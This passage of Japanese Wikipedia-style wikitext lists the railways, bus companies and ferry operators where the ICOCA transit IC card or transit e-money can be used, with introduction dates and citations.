近鉄の鉄道全駅(生駒ケーブルを除く)でPiTaPa、ICOCAなどICカードをご利用いただけるようになります。|publisher=近畿日本鉄道|date=2015年6月3日|accessdate=2015年8月30日}}</ref>。
* [[近鉄南大阪線|南大阪線]]:全駅
** [[近鉄道明寺線|道明寺線]]:全駅
** [[近鉄長野線|長野線]]:全駅
** [[近鉄御所線|御所線]]:全駅
* [[近鉄吉野線|吉野線]]:全駅
* [[近鉄西信貴鋼索線|西信貴鋼索線]](西信貴ケーブル):全駅 - 2015年8月1日をもって導入<ref name="kintetsu20150603"/>
なお、[[近鉄生駒鋼索線|生駒鋼索線]](生駒ケーブル)や[[近鉄葛城索道線|葛城索道線]](葛城山ロープウェイ)ではPiTaPaを含めたICカードそのものが使えない。
==== 四日市あすなろう鉄道 ====
* [[四日市あすなろう鉄道内部線|内部線]]:全駅<ref name="press20210803">{{Cite web|和書|url=https://www.yar.co.jp/info/detail.php?id=276|archiveurl=https://web.archive.org/web/20210803065158/https://www.yar.co.jp/info/detail.php?id=276|title=交通系ICカードシステムの導入について|date=2021-08-03|archivedate=2021-08-03|accessdate=2021-08-03|publisher=四日市あすなろう鉄道|language=日本語|deadlinkdate=}}</ref>
* [[四日市あすなろう鉄道八王子線|八王子線]]:全駅<ref name="press20210803"/>
同社の路線は2015年に近鉄から移管されたが、移管前の近鉄時代はICカードの利用は出来なかった。
=== その他の鉄道事業者 ===
以下の鉄道事業者では、IC乗車券としての利用には対応していないが、駅窓口・券売機などが交通系ICカードでの決済に対応しており、交通系ICカードを使って乗車券を購入することで利用ができる。ただし、[[ICOCA電子マネー]]による決済となることもあり、PiTaPaは利用できない。
* [[嵯峨野観光鉄道]]
** [[嵯峨野観光鉄道嵯峨野観光線|嵯峨野観光線]]:[[トロッコ嵯峨駅]]・[[トロッコ嵐山駅]]・[[トロッコ亀岡駅]]
**: 交通系電子マネー決済を導入(PiTaPaは対象外)。窓口での対応となる<ref>{{Cite web|和書|url=https://www.sagano-kanko.co.jp/faq.php|title=よくあるご質問|publisher=嵯峨野観光鉄道|accessdate=2023-08-26}}</ref>。
* [[WILLER TRAINS]](京都丹後鉄道)
** [[京都丹後鉄道宮福線|宮福線]]:[[福知山駅]]・[[大江駅 (京都府)|大江駅]]・[[宮津駅]]
** [[京都丹後鉄道宮舞線|宮舞線]]:[[西舞鶴駅]]・宮津駅
** [[京都丹後鉄道宮豊線|宮豊線]]:宮津駅・[[天橋立駅]]・[[与謝野駅]]・[[京丹後大宮駅]]・[[峰山駅]]・[[網野駅]]・[[夕日ヶ浦木津温泉駅]]・[[小天橋駅]]・[[久美浜駅]]・[[豊岡駅 (兵庫県)|豊岡駅]]
**: 2021年10月1日より交通系電子マネー決済を導入(PiTaPaは対象外)。窓口での対応となる<ref>{{Cite web|和書|url=https://trains.willer.co.jp/info/%E3%82%AF%E3%83%AC%E3%82%B8%E3%83%83%E3%83%88%E3%82%AB%E3%83%BC%E3%83%89%E6%B1%BA%E6%B8%88%E5%8F%96%E3%82%8A%E6%89%B1%E3%81%84%E9%A7%85%E6%8B%A1%E5%A4%A7%E3%81%A8%E4%BA%A4%E9%80%9A%E7%B3%BBic%E3%82%AB/ |title=クレジットカード決済取り扱い駅拡大と交通系ICカード電子マネー決済の導入について |date=2021-09-30 |access-date=2023-08-26 |publisher=京都丹後鉄道}}</ref>。
* [[智頭急行]]
** [[智頭急行智頭線|智頭線]]:[[上郡駅]]・[[大原駅 (岡山県)|大原駅]]・[[智頭駅]]
**: 2018年12月3日より大原駅で、2020年4月1日より上郡駅・智頭駅でそれぞれ交通系電子マネー決済を導入(PiTaPaは対象外)。窓口での対応となる<ref>{{PDFlink|[http://www.chizukyu.co.jp/user/filer_public/6e/65/6e65d816-47b2-427e-97a7-5e52f8e0c9bf/181119_04kurezitsutodeng-jue-ji-kai-shi-nitsuitepuresu.pdf 大原駅 クレジット等取扱い開始について]}} - 智頭急行</ref><ref>{{PDFlink|[http://www.chizukyu.co.jp/user/filer_public/b1/15/b11544b7-d9c1-4e50-a70d-9df88077c25f/200318_00kurezitsutodeng-jue-ji-kai-shi-nitsuitepuresu_.pdf 上郡駅及び智頭駅 クレジット等取扱い開始について]}} - 智頭急行</ref>。
* [[一畑電車]]
** [[一畑電車北松江線|北松江線]]:[[出雲市駅|電鉄出雲市駅]]・[[大津町駅]]・[[川跡駅]]・[[雲州平田駅]]・[[一畑口駅]]・[[松江しんじ湖温泉駅]]
** [[一畑電車大社線|大社線]]:川跡駅・[[出雲大社前駅]]
**: 2022年3月より交通系電子マネー決済を導入(PiTaPaは対象外)。券売機での対応となる<ref>{{Cite web|和書|url=https://www.ichibata.co.jp/railway/topics/202203251328.html|title=券売機の更新について|publisher=一畑電車|date=2022-03-25|accessdate=2023-08-26|archiveurl=https://web.archive.org/web/20220703184418/https://www.ichibata.co.jp/railway/topics/202203251328.html|archivedate=2022-07-03}}</ref>。
=== バス事業者 ===
==== 近畿 ====
* [[近江鉄道]] - [[2021年]][[3月27日]]より一般路線バスと一部のコミュニティバスで利用開始{{R|pr20201015}}。JRとの連絡定期券も発売。鉄道線([[近江鉄道本線|本線]]・[[近江鉄道多賀線|多賀線]]・[[近江鉄道八日市線|八日市線]])は利用不可。
* [[湖国バス]] - 2021年3月27日より長浜営業所管内を除く一般路線バスで利用開始{{R|pr20201015}}。JRとの連絡定期券も発売。2023年3月25日より長浜営業所管内の一部路線(米原市内を起終点とする6路線)で利用開始<ref>{{Cite press release|title=米原市内を起終点として運行するバス路線で ICOCA 利用開始!◇2023 年 3 月 25 日(土)より利用エリアを拡大しサービス開始|publisher=湖国バス・西日本旅客鉄道|date=2023-02-17|url=https://www.westjr.co.jp/press/article/items/230217_00_press_kokoku.pdf|archive-url=https://web.archive.org/web/20230217134152/https://www.westjr.co.jp/press/article/items/230217_00_press_kokoku.pdf|archive-date=2023-2-17|和書|accessdate=2023-02-19}}</ref>。
* [[大阪バス]] - 2023年1月27日より、同社が運営する路線バスのうち[[大阪バス#御堂筋線|御堂筋線]]、[[大阪バス#新大阪駅 - 帝国ホテル大阪 - ホテルニューオータニ大阪線|新大阪駅 - 帝国ホテル大阪 - ホテルニューオータニ大阪線]]<ref group="注釈">2023年2月25日より運行開始。</ref>と[[大阪バス#俊徳道駅・近畿大学線|俊徳道駅・近畿大学線]]で利用開始。簡易端末での対応となる<ref>[https://www.westjr.co.jp/press/article/items/230110_00_press_icoca.pdf]</ref>。
* カナちゃんバス([[MKグループ|エムケイ観光バス]]) - 2023年3月1日より、[[大阪府]][[南河内郡]][[河南町]]のカナちゃんバス(北部、南部)に試験導入。簡易端末での対応となる<ref>{{Cite press release|和書|title=カナちゃんバスの利用は交通系ICカードで|publisher=河南町役場総合政策部秘書企画課|date=2023-03-01|url=https://www.town.kanan.osaka.jp/material/files/group/1/20230301p.pdf|accessdate=2023-04-02}}</ref>。
==== 中国・四国 ====
* [[中国ジェイアールバス]] - 2021年[[3月20日]]より山口支店管内の一般路線(光線・[[防長線]]・秋吉線)と「[[はぎ号|スーパーはぎ号]]」で利用開始{{R|pr20201029}}{{R|pr20210303}}。なお、広島県内の一部路線はPASPYを導入し、交通系ICカード全国相互利用サービスによりICOCAが利用可能。
* [[松江市交通局]] - 2021年[[4月28日]]より「[[ぐるっと松江レイクライン]]」で利用開始、同年[[5月29日]]に一般路線に拡大<ref name="pr20210330">{{PDFlink|[https://www.westjr.co.jp/press/article/items/210330_01_matsue_2.pdf 松江・出雲圏域の路線バスへの交通系ICカード「ICOCA」導入について]}} - 一畑バス・松江市交通局・松江市・西日本旅客鉄道 2021年3月30日</ref>。ICバス定期券は同年10月1日より発売開始<ref>{{Cite web|和書|url=https://matsue-bus.jp/topics/5242|title=2021.09.08 【お知らせ】バスICOCA定期券の発売について|accessdate=2021-9-17|publisher=松江市交通局|archiveurl=https://web.archive.org/web/20210909073159/https://matsue-bus.jp/topics/5242|archivedate=2021-9-9|date=2021-9-8}}</ref>。
* [[一畑バス]] - 2021年5月29日より松江・出雲圏域の路線バスにおいてサービス開始{{R|pr20210330}}<ref name=":1">{{Cite web|和書|url=https://www.ichibata.co.jp/bus/info/2021/05/icicoca-1.html|title=令和3年5月29日(土)より交通系ICカード「ICOCA」サービス開始!!|accessdate=2021-5-29|publisher=一畑バス|archivedate=2021-5-19|archiveurl=https://web.archive.org/web/20210519114450/https://www.ichibata.co.jp/bus/info/2021/05/icicoca-1.html}}</ref>。ICバス定期券は同年10月1日より発売開始<ref name=":1" /><ref>{{Cite web|和書|url=https://www.ichibata.co.jp/bus/info/2021/09/icoca.html|title=令和3年10月1日(金)より「バスICOCA定期券」サービス開始いたします!|accessdate=2021-9-17|publisher=一畑バス}}</ref>。
* [[宇部市交通局]] - [[2022年]][[3月15日]]より利用開始<ref name=":2" />。ICバス定期券・IC高齢者バス優待乗車証・IC障害者バス優待乗車証も同日より発売開始。IC高齢者バス優待乗車証・IC障害者バス優待乗車証に限り、[[船木鉄道]](船鉄バス)の宇部市優待乗車証適応バス対象路線(宇部市役所線、際波線、くすのき号。対象路線は[[方向幕|LED幕]]に「優」を表示している(例:優 宇部駅 船木)。)でもICOCA優待乗車証(券面に優待乗車証情報は印字されない)と別紙で交付される「ICOCA優待乗車証内容控」を提示することで割引が適用される(障害者の場合は無料、高齢者の場合は100円を支払う。)。
* [[おのみちバス]] - 2022年[[4月1日]]より利用開始<ref name=":3">{{Cite press release|和書|title=2022年4月1日 ICOCA システム導入について|publisher=おのみちバス/西日本旅客鉄道|date=2022-2-10|url=https://www.westjr.co.jp/press/article/items/220210_02_onomichi.pdf|format=PDF|accessdate=2022-2-10}}</ref><ref>中国新聞 2021年9月23日付</ref>。ICバス定期券も同日より発売開始。ただし、他社([[鞆鉄道]]・[[中国バス]]・[[因の島バス]]・[[本四バス開発]])との共同運行路線のICバス定期券は発売しない(紙定期券となる)。
* [[石見交通]]・[[イワミツアー]] - 2023年(令和5年)3月22日より一般路線と高速バス広島 - 益田線「[[広益線]](清流ライン高津川号)」「[[新広益線]]」、広島 - 浜田線「[[いさりび号]]」、広島 - 大田線「[[石見銀山号]]」に導入<ref>{{Cite press release|和書|title=石見交通 路線バスへの交通系ICカード「ICOCA」導入について|publisher=石見交通・西日本旅客鉄道|date=2022-09-26|url=https://www.westjr.co.jp/press/article/items/220926_00_press_iwamikotsu.pdf|accessdate=2022-10-07}}</ref><ref>{{Cite press release|和書|title=石見交通 2023 年 3 月 22 日(水)ICOCAシステム導入について|publisher=西日本旅客鉄道・石見交通|date=2023-2-1|url=https://www.westjr.co.jp/press/article/items/230201_00_press_ICOCA.pdf|format=PDF|access-date=2023-2-1|accessdate=}}</ref>。同時にICOCA利用割引を設定{{Efn|従来のPASPY割引に代わる割引サービスで、割引率はPASPY割引と同じ。現金で利用した場合の運賃に対して10%割引(10円未満の端数は切り上げ)により残高を引き去る。例えば、230円区間の場合、ICOCAからの引き去り額は、230円の10%引き=207円の端数切り上げ=210円となる。小児割引または特別割引が適用される場合はそれらの当該割引が優先される。なお、PiTaPaなど、ICOCA以外の[[交通系ICカード全国相互利用サービス|全国の交通系ICカード]]で利用した場合は適用されない。}}。従来、広島 - 浜田線「いさりび号」に限りPASPYを導入していたが、2025年3月末までのPASPYの廃止が決定したのを受けて、広島電鉄が主導で開発を進める後継の新システム「MOBIRY DAYS」に参加せず、ICOCAを導入することを決めた<ref name=":7" />。これに伴い、2023年3月21日をもってPASPYの取り扱いを終了した<ref>{{Cite press release|和書|title=石見交通 浜田~広島線「いさりび号」PASPY利用終了及びICOCA導入のお知らせ|publisher=[[浜田市]]・石見交通|date=2023-2-1|url=https://www.city.hamada.shimane.jp/www/contents/1675643762844/simple/oshirase.pdf|format=PDF|access-date=2023-3-22|archive-url=https://web.archive.org/web/20230314022215/https://www.city.hamada.shimane.jp/www/contents/1675643762844/simple/oshirase.pdf|archive-date=2023-3-14}}</ref>。
* [[防長交通]] - 2023年3月25日に[[周南市]]・[[光市]]・[[下松市]]の一般路線と高速バス広島 - 徳山・防府線、新山口 - 萩線「[[はぎ号|スーパーはぎ号]]」、および同社が運転を受託する[[山口市コミュニティバス]]・[[萩循環まぁーるバス]]で利用開始<ref>{{Cite press release|title=路線バスに交通系ICカード「ICOCA」を導入します|publisher=防長交通|date=2022-09-08|url=https://www.bochobus.co.jp/publics/index/1/detail=1/b_id=1/r_id=1223#block1-1223|和書|accessdate=2022-09-16}}</ref><ref name=":6">{{Cite press release|title=2023 年 3 月 25 日 防長交通の路線バスでICOCAが利用可能になります|publisher=西日本旅客鉄道・防長交通|date=2023-1-31|url=https://www.westjr.co.jp/press/article/items/230131_00_press_icoca.pdf|format=PDF|access-date=2023-2-1|和書|accessdate=}}</ref>。その他の路線も2024年3月下旬に導入予定<ref name=":6" />。
* [[くる梨]]([[日本交通 (鳥取県)]]・[[日ノ丸自動車]]) - [[鳥取市]]が2021年(令和3年)度1月臨時補正予算案に「鳥取市「明るい未来プラン」推進パッケージ」施策の一環として「公共交通キャッシュレス化推進事業費(コロナ克服・新時代開拓臨時交付金)」として5300万円の予算を計上しており、今後国と鳥取県による支援が予定され、2022年(令和4年)6月30日に鳥取市と[[西日本旅客鉄道山陰支社|JR西日本米子支社]]の間で基本合意書を締結し<ref>{{Cite web|和書|url=https://www.city.tottori.lg.jp/www/houdou/contents/1655859443040/index.html |title=鳥取市100円循環バス「くる梨」へのICOCA導入に関する基本合意書締結式開催について |trans-title= |accessdate=2022-07-17 |last= |first= |author= |authorlink= |coauthors= |date=2022-06-22 |year= |month= |format= |website= |work= |publisher=[[鳥取市役所]]都市整備部交通政策課 |page= |pages= |quote= |language= |archiveurl= |archivedate= |deadlinkdate= |doi= |ref=}}</ref><ref>{{Cite web|和書|url=https://www.city.tottori.lg.jp/www/houdou/contents/1655859443040/files/icocakihonndouisyopress.pdf |title=鳥取市100円循環バス「くる梨」へのICOCA導入に関する基本合意書締結式開催について |trans-title= |accessdate=2022-07-17 |last= |first= |author= |authorlink= |coauthors= |date=2022-06-22 |year= |month= |format=PDF |website= |work= |publisher=[[鳥取市役所]]都市整備部交通政策課・[[西日本旅客鉄道山陰支社|西日本旅客鉄道米子支社]] |page= |pages= |quote= |language= |archiveurl= |archivedate= |deadlinkdate= |doi= |ref=}}</ref><ref>{{Cite news |和書|title=くる梨にイコカ導入 鳥取市、JR西と基本合意 |newspaper=[[日本海新聞]] |date=2022-06-30 |author= |authorlink= |author2= |authorlink2= |author3= |authorlink3= |author4= |authorlink4= |author5= |authorlink5= |author6= |authorlink6= |author7= |authorlink7= |author8= |authorlink8= |author9= |authorlink9= |url=https://www.nnn.co.jp/news/220630/20220630055.html |accessdate=2022-07-17 |format= |agency= |location= |publisher= |isbn= |issn= |oclc= |pmid= |pmd= |bibcode= |doi= |id= |page= |pages= |at= |language= |trans-title= |quote= |archiveurl= |archivedate= |ref= |postscript= }}</ref>、2023年4月1日に導入<ref>{{Cite web|和書|url=https://www.city.tottori.lg.jp/www/contents/1642555952406/simple/001.pdf |title=令和3年度1月臨時補正予算(案)の概要 |format=PDF |publisher=鳥取市役所総務部行財政改革課 |page=1 |date=2022-01-20 |accessdate=2022-01-22 }}</ref><ref>{{Cite web|和書|url=https://www.city.tottori.lg.jp/www/contents/1642555952406/simple/001-1.pdf |title=鳥取市「明るい未来プラン」推進パッケージ(令和3年度国1次補正予算対応) |format=PDF |publisher=鳥取市役所総務部行財政改革課 |page=1 |date=2022-01-20 |accessdate=2022-01-22 }}</ref><ref>{{Cite web|和書|url=https://www.city.tottori.lg.jp/www/contents/1642555952406/simple/111.pdf |title=令和3年度1月臨時補正予算(案)の事業別概要(一般会計) (都市整備部) |format=PDF |publisher=鳥取市役所総務部行財政改革課 |page=2 |date=2022-01-20 |accessdate=2022-01-22 }}</ref><ref>{{Cite news |和書|title=「イコカ使えず恥ずかしい」 鳥取市の循環バス、ついに導入へ |newspaper=[[毎日新聞]] |date=2022-01-22 |author= |authorlink= |author2= |authorlink2= |author3= |authorlink3= |author4= |authorlink4= |author5= |authorlink5= |author6= |authorlink6= |author7= |authorlink7= |author8= |authorlink8= |author9= |authorlink9= |url=https://mainichi.jp/articles/20220122/k00/00m/040/178000c |accessdate=2022-01-22 |format= |agency= |location= |publisher= |isbn= |issn= |oclc= |pmid= |pmd= |bibcode= |doi= |id= |page= |pages= |at= |language= |trans-title= |quote= |archiveurl= |archivedate= |ref= |postscript= }}</ref><ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/230120_00_press_kururi.pdf|title=鳥取市100円循環バス「くる梨」へのICOCA導入について |publisher=鳥取市・西日本旅客鉄道|date=2023-01-20|accessdate=2023-01-21}}</ref>。ICOCA・ICバス定期券は[[3月18日]]より[[鳥取駅バスターミナル]](発売を行う事業者は日本交通 (鳥取県)となる)にて発売開始。
* [[本四バス開発]] - 2023年(令和5年)4月1日に一般路線と因島 - 尾道線と高速バス因島・尾道 - 広島線「[[フラワーライナー]]」、因島 - 福山線「[[シトラスライナー]]」、福山 - 松山線「[[キララエクスプレス]]」に導入<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/221013_00_press_busicoca.pdf |title=2023 年 4 月 本四バス開発 路線バスへのICOCAシステム導入について |publisher=本四バス開発・西日本旅客鉄道|date=2022-10-13|accessdate=2022-10-13}}</ref>。ICバス定期券も同日より発売開始。ただし、他社([[広島交通]]・[[中国バス]]・[[おのみちバス]]・[[因の島バス]])との共同運行路線のICバス定期券は発売しない(紙定期券となる)。
* [[ごんごバス]]([[中鉄北部バス]]) - 2023年(令和5年)4月1日に津山市内を走行するコミュニティバスのごんごバス(東循環線、小循環線、西循環線、久米線のみ)に導入<ref>{{Cite press release|和書|url=https://www.city.tsuyama.lg.jp/s/city/index2.php?id=9177 |title= ごんごバス循環線へのICOCA導入について|publisher=津山市 令和4年10月14日 市長定例記者会見|date=2022-10-14|accessdate=2022-10-27}}</ref>。ICバス定期券も同日より発売開始。
==== 北海道 ====
以下のバス事業者ではシステム上では大阪バス扱いで簡易端末での対応となる<ref name="fighters202300392682">{{Cite press release|和書|url=https://www.fighters.co.jp/news/detail/202300392682.html |title=Fビレッジ発着の路線バス・シャトルバスに交通系IC決済導入 |publisher=株式会社ファイターズ スポーツ&エンターテイメント |date=2023-07-19|accessdate=2023-07-30}}</ref><ref name="pr20230719">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/230719_00_press_hokkaidoballparkvillage_2.pdf |title=Fビレッジ発着の路線バス・シャトルバスにおける交通系IC決済の導入について |publisher=北海道バス・千歳相互観光バス・エルム観光バス・大阪バス・ファイターズ スポーツ&エンターテイメント・北海道旅客鉄道・西日本旅客鉄道・JR西日本テクシア |date=2023-07-19|accessdate=2023-07-30}}</ref>。ただし、ICOCAは発売しない(北海道内では[[北海道旅客鉄道|JR北海道]]が[[Kitaca]]、[[函館市企業局交通部]](函館市電)・[[函館バス]]が[[Nimoca|ICAS nimoca]]を発売しており、[[交通系ICカード全国相互利用サービス]]により利用可能。ただし、[[SAPICA]]は利用できない)。
* [[北海道バス]] - 2023年7月21日より、同社が運営する路線バスのうち[[北海道バス#Fビレッジシャトルバス|Fビレッジシャトルバス]]([[北広島駅]] - [[エスコンフィールドHOKKAIDO|Fビレッジ]]線、[[新札幌駅]] - Fビレッジ、[[新千歳空港]]国内線ターミナル - Fビレッジ線)で利用開始<ref name="fighters202300392682" /><ref name="pr20230719" />。
* [[千歳相互観光バス]] - 2023年7月22日より、同社が運営する路線バスのうちFビレッジシャトルバス(北広島駅 - Fビレッジ線)で利用開始<ref name="fighters202300392682" /><ref name="pr20230719" />。
* [[エルム観光バス]] - 2023年7月28日より、同社が運営する路線バスのうちFビレッジシャトルバス(新札幌駅 - Fビレッジ線、[[野幌駅]] - Fビレッジ線)で利用開始<ref name="fighters202300392682" /><ref name="pr20230719" />。
==== その他のバス事業者 ====
以下のバス事業者では、IC乗車券としての利用には対応していないが、バス窓口・バス券売機などが交通系ICカードでの決済に対応しており、交通系ICカードを使って乗車券を購入することで利用ができる。ただし、[[ICOCA電子マネー]]による決済となることもあり、[[PiTaPa#PiTaPaショッピングサービス|PiTaPaショッピングサービス]]と併用する社局を除き、PiTaPaは利用できない。
* [[淡路交通]] - 2023年7月1日よりオニオンバスで交通系電子マネー決済を導入(PiTaPaは対象外)。車内での対応となる<ref name="onion-bus">{{Cite web|和書|url=https://onion-bus5050.com/|title=オニオンバス(徳島空港線バス)公式|東京(羽田)から淡路島(南あわじ市)まで2時間!|publisher=オニオンバス|accessdate=2023-12-10}}</ref>。なお、高速バス (AWAJI EXPRESS) はPiTaPaを導入し、交通系ICカード全国相互利用サービスによりICOCAが利用可能。
* [[みなと観光バス (南あわじ市)]] - 2020年4月1日より淡路島特急線で、2023年7月1日よりオニオンバスで交通系電子マネー決済を導入(PiTaPaは対象外)。車内での対応となる<ref name="minatokankobus_express">{{Cite web|和書|url=https://minatokankobus.com/express/|title=高速バス|みなと観光バス株式会社|publisher=みなと観光バス|accessdate=2023-12-10}}</ref><ref name="onion-bus" />。
* [[日ノ丸自動車]]・[[日ノ丸ハイヤー]] - 空港リムジンバス([[鳥取駅バスターミナル|鳥取駅]] - [[鳥取空港|鳥取砂丘コナン空港]]、[[青山剛昌ふるさと館]] - [[倉吉駅]] - 鳥取砂丘コナン空港、[[米子駅]] - [[美保飛行場|米子鬼太郎空港]]、[[松江駅]] - 米子鬼太郎空港)で交通系電子マネー決済を導入(PiTaPaは対象外)。鳥取砂丘コナン空港・米子鬼太郎空港券売機での対応となる<ref name="tottori-sand-dunes-conan-airport">{{Cite web|和書|url=https://www.ttj-ap-bld.co.jp/news/detail/74|title=バスの券売機が新しくなりました|publisher=鳥取砂丘コナン空港|date=2020-04-24|accessdate=2023-12-10}}</ref><ref name="yonago-kitaro-airport">{{Cite web|和書|url=https://www.yonago-air.com/floor#ticket|title=バス券売機|publisher=米子鬼太郎空港|accessdate=2023-12-10}}</ref>。
* [[松江一畑交通]] - 空港リムジンバス(松江駅 - 米子鬼太郎空港、[[松江しんじ湖温泉駅]]・松江駅 - [[出雲空港|出雲縁結び空港]])で交通系電子マネー決済を導入(PiTaPaは対象外)。米子鬼太郎空港・松江しんじ湖温泉駅・出雲縁結び空港券売機での対応となる<ref name="yonago-kitaro-airport" /><ref>{{Cite web|和書|url=https://www.ichibata.co.jp/taxi-matsue/shuttle/yonago.html|title=空港連絡バス 米子空港線【米子空港(米子鬼太郎空港)~松江線】|publisher=松江一畑交通|accessdate=2023-12-10}}</ref><ref name="izumo-enmusubi-airport">{{Cite web|和書|url=https://www.izumo-airport.co.jp/airport-guide/others#bge-bus |title=その他サービス施設|publisher=出雲縁結び空港|accessdate=2023-12-10}}</ref><ref>{{Cite web|和書|url=https://www.ichibata.co.jp/taxi-matsue/shuttle/index.html|title=空港連絡バス 出雲空港線【出雲空港(出雲縁結び空港)~松江線】|publisher=松江一畑交通|accessdate=2023-12-10}}</ref>。
* [[出雲一畑交通]] - 空港リムジンバス([[出雲市駅]] - 出雲縁結び空港、[[玉造温泉]] - 出雲縁結び空港 - [[出雲大社]])で交通系電子マネー決済を導入(PiTaPaは対象外)。出雲縁結び空港券売機での対応となる<ref name="izumo-enmusubi-airport" /><ref>{{Cite web|和書|url=https://www.ichibata.co.jp/t-izumo/shuttle/index.html|title=空港連絡バス 出雲空港(出雲縁結び空港)⇔出雲市駅線|publisher=出雲一畑交通|accessdate=2023-12-10}}</ref><ref>{{Cite web|和書|url=https://www.ichibata.co.jp/t-izumo/shuttle/izumo.html|title=空港連絡バス 玉造温泉⇔出雲空港(出雲縁結び空港)⇔出雲大社直通バス|publisher=出雲一畑交通|accessdate=2023-12-10}}</ref>。
* [[徳島バス]] - 交通系電子マネー決済を導入(PiTaPaショッピングサービスと併用)。[[徳島駅|徳島駅前]]・[[徳島飛行場|徳島阿波おどり空港]]券売機での対応となる<ref name="tokushima-awaodori-airport-1f">{{Cite web|和書|url=https://www.tokushima-airport.co.jp/floor/1f/|title=フロアガイド:1F|publisher=徳島阿波おどり空港|date=|accessdate=2023-12-10}}</ref><ref name="tokushima-awaodori-airport-7164">{{Cite web|和書|url=https://www.tokushima-airport.co.jp/info/7164/|title=【徳島バス券売機】リニューアルいたしました|publisher=徳島阿波おどり空港|date=2021-03-26|accessdate=2023-12-10}}</ref>。
=== 船舶事業者 ===
==== 中国 ====
[[宮島航路]]([[JR西日本宮島フェリー]]・[[宮島松大汽船]])では、両社とも乗船前に桟橋改札口のICOCA自動改札機または有人改札のICOCAカードリーダーにタッチすることで利用可能。
[[宮島口フェリー乗り場|宮島口桟橋]]は2023年10月1日の宮島訪問税徴収開始に先立ち、同年9月13日にICOCAの自動改札機が導入された<ref name="miyajimaferry1">{{Cite web|和書|url=https://www.westjr.co.jp/press/article/items/230830_00_press_miyajimaferry_icoca2_1.pdf|format=PDF|title=JR西日本宮島フェリーでのICOCA新サービスについて~ICOCA定期券、ポイントサービスの導入~|publisher=JR西日本宮島フェリー・西日本旅客鉄道|date=2023-08-30|accessdate=2023-10-03}}</ref>ため、PASPYを利用する際および[[障害者手帳|障がい者手帳]]・課税対象外証明書・1年分一時納付証明書を使用してICOCAを利用する際は両社とも有人改札のカードリーダーで対応している<ref name="miyajimaferry2">{{Cite web|和書|url=https://www.city.hatsukaichi.hiroshima.jp/uploaded/attachment/68194.pdf|format=PDF|title=課税対象外証明書・1年分一時納付証明書を使用してのフェリーの乗船方法|publisher=廿日市市|date=2023-09-05|accessdate=2023-10-03}}</ref>。カードリーダーはICOCA用とPASPY用で別に設置している。なお、自動改札機導入以前のJR西日本宮島フェリーは、乗下船とも[[宮島桟橋]]で改札を行い宮島口桟橋では改札を行っていなかった。
* [[JR西日本宮島フェリー]] - [[宮島連絡船|宮島航路]]
* [[宮島松大汽船]] - [[宮島航路]]
==== その他の船舶事業者 ====
以下の船舶事業者では、IC乗車券としての利用には対応していないが、港窓口・券売機などが交通系ICカードでの決済に対応しており、交通系ICカードを使って乗車券を購入することで利用ができる。ただし、[[ICOCA電子マネー]]による決済となることもあり、PiTaPaは利用できない。
* [[国際両備フェリー]] - 交通系電子マネー決済を導入(PiTaPaは対象外)。[[岡山港|新岡山港]]・[[高松港]]・[[土庄港]]・[[池田港 (香川県)|池田港]]窓口での対応となる<ref name="okayama-tonosho">{{Cite web|和書|url=https://ryobi-shodoshima.jp/time/ryobi_ferry/|title=新岡山港~小豆島土庄港 運航:国際両備フェリー|publisher=両備小豆島フェリーグループ|accessdate=2023-08-26}}</ref><ref>{{Cite web|和書|url=https://ryobi-shodoshima.jp/time/kokusai_ferry/|title=高松港~小豆島池田港 運航:国際両備フェリー|publisher=両備小豆島フェリーグループ|accessdate=2023-08-26}}</ref>。
* [[瀬戸内観光汽船]] - 交通系電子マネー決済を導入(PiTaPaは対象外)。[[日生港]]・[[大部港]]窓口での対応となる<ref>{{Cite web|和書|url=https://ryobi-shodoshima.jp/time/setouchi_kankokisen/|title=岡山日生港~小豆島大部港 運航:瀬戸内観光汽船|publisher=両備小豆島フェリーグループ|accessdate=2023-08-26}}</ref>(2023年11月末で航路休止)。
* [[瀬戸内シーライン]] - 2021年4月1日から交通系電子マネー決済を導入(PiTaPaは対象外)。宮島港を除く各港の券売機での対応となる<ref>{{Cite web|和書|url=https://da-dk.facebook.com/setonaikaikisen/posts/3519232494848683/|title=【瀬戸内シーラインからのお知らせ】|publisher=瀬戸内海汽船 Facebook|date=2021-04-06|accessdate=2023-08-26}}</ref><ref>{{Cite web|和書|url=https://setonaikaikisen.co.jp/kouro/highspeedship/ |title=広島-宮島 時刻表・料金表 |date=2023-04-01 |access-date=2023-04-03 |publisher=瀬戸内海汽船}}</ref>。
* [[似島汽船]] - 2021年4月1日から交通系電子マネー決済を導入(PiTaPaは対象外)。[[広島港#宇品内港地区|広島港宇品旅客ターミナル]]券売機での対応となる<ref>{{Cite web|和書|url=https://ninoshimakisen.jp/ticket|title=券売機のみのお得な新企画について|date=2021-04-01|access-date=2023-08-26|publisher=似島汽船}}</ref>。
* [[瀬戸内クルージング]] - [[2023年]][[2月1日]]から尾道~[[瀬戸田港]]を結ぶ航路で、同年3月11日から尾道~鞆の浦を結ぶ航路で交通系電子マネー決済を導入(PiTaPaは対象外)<ref>{{Cite press release|和書|title=2023年2月 瀬戸内クルージングの乗船券のお支払いに交通系電子マネーがご利用可能になります|publisher=瀬戸内クルージング・西日本旅客鉄道|date=2023-01-26|url=https://www.westjr.co.jp/press/article/2023/01/page_21757.html|accessdate=2023-01-29}}</ref><ref>{{Cite web|和書|url=https://s-cruise.jp/2023/01/31/%e5%b0%be%e9%81%93%e2%80%95%e7%80%ac%e6%88%b8%e7%94%b0%e8%88%aa%e8%b7%af%e3%80%80%e4%bb%a4%e5%92%8c5%e5%b9%b42%e6%9c%881%e6%97%a5%e3%82%88%e3%82%8a%e4%ba%a4%e9%80%9a%e7%b3%bbic%e5%88%a9%e7%94%a8/ |title=尾道―瀬戸田航路 令和5年2月1日より交通系IC利用開始 |access-date=2023-2-19 |publisher=瀬戸内クルージング |date=2023-1-31}}</ref>。
